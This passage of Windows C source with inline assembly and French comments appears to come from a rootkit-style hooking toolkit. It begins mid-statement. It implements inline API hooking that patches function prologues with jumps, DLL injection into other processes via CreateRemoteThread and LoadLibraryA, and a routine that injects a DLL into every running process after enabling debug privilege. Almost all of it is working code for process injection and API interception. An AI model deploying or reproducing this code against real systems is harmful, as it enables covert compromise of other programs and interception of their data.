NORMAL_PRIORITY_CLASS+CREATE_NO_WINDOW); } //------------------------------------------------------------------------------------------------------------------------ // Conversion Unicode vers Ascii ----------------------------------------------------------------------------------------------------------------------- //------------------------------------------------------------------------------------------------------------------------ int wide_to_ascii (char* wide_name, char* buffer, int buffer_size) { return WideCharToMultiByte(CP_ACP, 0, (const unsigned short *) wide_name , -1, buffer, buffer_size, NULL, NULL); } //------------------------------------------------------------------------------------------------------------------------ // HOOK d'une API -------------------------------------------------------------------------------------------------------- //------------------------------------------------------------------------------------------------------------------------ /* argument 1 : nom de la DLL argument 2 : nom de la fonction argument 3 : adresse du nouveau handler argument 4 : adresse d'un char* qui contiendra le buffer de sauvegarde */ int WINAPI initialise_hook (char* nom_dll, char* nom_fonction, DWORD new_handler, char** backup) { HMODULE module; DWORD adresse_api; int taille; DWORD ancienne_protection; int verdict; // Initialise backup s'il ne l'est pas *backup = NULL; // Localise la DLL module = GetModuleHandle(nom_dll); // Si la DLL n'est pas chargée, CASSOS if (module == 0) { _snprintf((char*)debug_string,2048, "% 20s - %s:%s non chargée, hook impossible\n",GetNameByPID(GetCurrentProcessId()), nom_dll,nom_fonction); send_debug ((char*)debug_string); return 0; } // Localise l'API adresse_api = (DWORD) GetProcAddress(module, nom_fonction); // Si l'API est introuvable, CASSOS if (adresse_api == 0) { _snprintf((char*)debug_string,2048, "% 20s - %s:%s introuvable \n",GetNameByPID(GetCurrentProcessId()), nom_dll,nom_fonction); send_debug ((char*)debug_string); return 0; } //Teste si l'API commence par un detour if ( *(char*) adresse_api == '\xe9') { _snprintf((char*)debug_string,2048, "% 20s - %s:%s deja hookée\n",GetNameByPID(GetCurrentProcessId()), nom_dll,nom_fonction); send_debug ((char*)debug_string); return 0; } // Mesure la taille de l'API à archiver taille = 0; while(taille < 5) taille += disasm_main( (BYTE*) (adresse_api+taille) ); // Alloue le tampon *backup = (char*) malloc(21); // Teste l'allocation du tampon if (*backup == NULL) { _snprintf((char*)debug_string,2048, "% 20s - %s:%s erreur d'allocation\n",GetNameByPID(GetCurrentProcessId()), nom_dll,nom_fonction); send_debug ((char*)debug_string); return 0; } // Initialise le tampon memcpy (*backup, "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\xE9\x00\x00\x00\x00", /* ^ ^ ici @FROM | \------- offset 17 : @jump : où écrire le déplacement */ 21); // Copie ce qu'il faut dedans __asm{ // Copie octets des anciennes instructions dans le tampon mov esi,adresse_api mov edi,backup mov edi,[edi] push edi mov ecx,taille rep movsb // Saut : backup_api -> adresse_api // Met edi sur @jump pop edi add edi,17 // Calcul de @TO : API d'origine + mov eax,adresse_api add eax,taille // Calcul de @FROM : juste apres le jmp mov ebx, edi add ebx,4 // Jmp relatif sur DWORD : @TO - @FROM sub eax,ebx // Ecrit cette valeur à l'emplacement jmp @ stosd } // Oter la protection du handler verdict = VirtualProtect((LPVOID)adresse_api,16,PAGE_READWRITE, &ancienne_protection); //Si echec : cassos if (!verdict) { free(*backup); *backup = NULL; _snprintf((char*)debug_string,2048, "% 20s - %s:%s erreur de protection\n",GetNameByPID(GetCurrentProcessId()), nom_dll,nom_fonction); send_debug ((char*)debug_string); return 0; } // Ecrase le handler __asm { //EDI sur endroit où écrire mov edi,adresse_api //EAX sur @TO mov eax,new_handler //EBX sur @FROM mov ebx, edi add ebx,5 //Calcule le déplacement dans EAX sub eax,ebx //Ecrit le jmp mov byte ptr [edi], 0xe9 inc edi //Et le déplacement stosd } // Remettre l'ancienne protection verdict = VirtualProtect((LPVOID)adresse_api,16,ancienne_protection, &ancienne_protection); if (!verdict) { _snprintf((char*)debug_string,2048, "% 20s - %s:%s restauration de la protection impossible\n",GetNameByPID(GetCurrentProcessId()), nom_dll,nom_fonction); send_debug ((char*)debug_string); } return TRUE; } // DEHOOK : restaure une fonction d'une api a partir de la sauvegarde--------------------- /* argument 1 : nom de la DLL argument 2 : nom de la fonction argument 3 : adresse d'un char* qui contient le buffer de sauvegarde */ int WINAPI enleve_hook (char* nom_dll, char* nom_fonction, char** backup) { // Récupere l'adresse de la fonction dans le module HMODULE module = GetModuleHandle(nom_dll); DWORD adresse_api; if (module != 0) adresse_api = (DWORD) GetProcAddress(module, nom_fonction); else return 0; // Mesure la taille de l'API à archiver int taille = 0; while(taille < 5) taille += disasm_main( (BYTE*) (*backup+taille) ); // Oter la protection du handler DWORD ancienne_protection; int verdict; verdict = VirtualProtect((LPVOID)adresse_api,16,PAGE_READWRITE, &ancienne_protection); if (!verdict) {free(*backup);*backup = NULL;return 0;} // Restaurer le handler __asm{ //Copie les anciennes instructiond mov edi,adresse_api mov esi,backup mov esi,[esi] mov ecx,taille rep movsb } // Remettre l'ancienne protection verdict = VirtualProtect((LPVOID)adresse_api,16,ancienne_protection, &ancienne_protection); if (!verdict) {free(*backup);*backup = NULL;return 0;} free(*backup); *backup = NULL; return 1; } //---------------------------------------------------------------------------------------- int WINAPI injector (DWORD le_pid, char* dll_name) { //Localise l'adresse de LoadLibraryA HMODULE module = GetModuleHandle("kernel32.dll"); FARPROC code_a_executer = GetProcAddress(module,"LoadLibraryA"); //Ouvre le processus HANDLE hProcess = NULL; hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, le_pid); if(hProcess == NULL) return 0; //Alloue de l'espace pour le nom de la dll char *pInjData; pInjData = (char *)VirtualAllocEx(hProcess, 0, strlen(dll_name)+1, MEM_COMMIT, PAGE_READWRITE ); if(pInjData == NULL) return 0; //Copie le nom de la DLL DWORD lpNumberOfBytesWritten=0; WriteProcessMemory(hProcess, pInjData, dll_name, strlen(dll_name)+1, &lpNumberOfBytesWritten); if (strlen(dll_name)+1 != lpNumberOfBytesWritten) return 0; /*BOOL FlushInstructionCache( HANDLE hProcess, LPCVOID lpBaseAddress, SIZE_T dwSize ); */ //Lance l'exécution DWORD dwThreadId = 0; HANDLE hThread = NULL; hThread = CreateRemoteThread(hProcess, NULL, 0, (unsigned long (__stdcall *)(void *))code_a_executer, pInjData, 0 , &dwThreadId); if(hThread == NULL) return 0; return 1; } //---------------------------------------------------------------------------------------- int WINAPI megainject (char* dll_name) { HANDLE hProcessSnap = NULL; DWORD th32ProcessID = 0; BOOL bRet = FALSE; PROCESSENTRY32 pe32 = {0}; /* Snapshot de tous les processus */ hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hProcessSnap == INVALID_HANDLE_VALUE) return 0; /* Initialisation de la structure d'un processus */ pe32.dwSize = sizeof(PROCESSENTRY32); /* Parcours de tous les processus et comparaison avec le nom recherche */ th32ProcessID = Process32First(hProcessSnap, &pe32); while(th32ProcessID) { if (injector(pe32.th32ProcessID, dll_name)) printf("Succes avec le processus %s - %i\n", pe32.szExeFile, pe32.th32ProcessID); else printf("Erreur avec le processus %s - %i\n", pe32.szExeFile, pe32.th32ProcessID); pe32.dwSize = sizeof(PROCESSENTRY32); th32ProcessID = Process32Next(hProcessSnap, &pe32); } CloseHandle(hProcessSnap); /* Retourne le PID trouve */ return(1); } //---------------------------------------------------------------------------------------- int WINAPI EnableDebugPriv (void) { HANDLE hToken = 0; DWORD dwErr = 0; TOKEN_PRIVILEGES newPrivs; if (!OpenProcessToken (GetCurrentProcess (),TOKEN_ADJUST_PRIVILEGES,&hToken)) return 0; if (!LookupPrivilegeValue (NULL, SE_DEBUG_NAME,&newPrivs.Privileges[0].Luid)) {CloseHandle (hToken);return 0;} newPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; newPrivs.PrivilegeCount = 1; if (!AdjustTokenPrivileges (hToken, FALSE, &newPrivs, 0, NULL, NULL)) {CloseHandle (hToken);return 0;} return 1; } -- [ Tolwin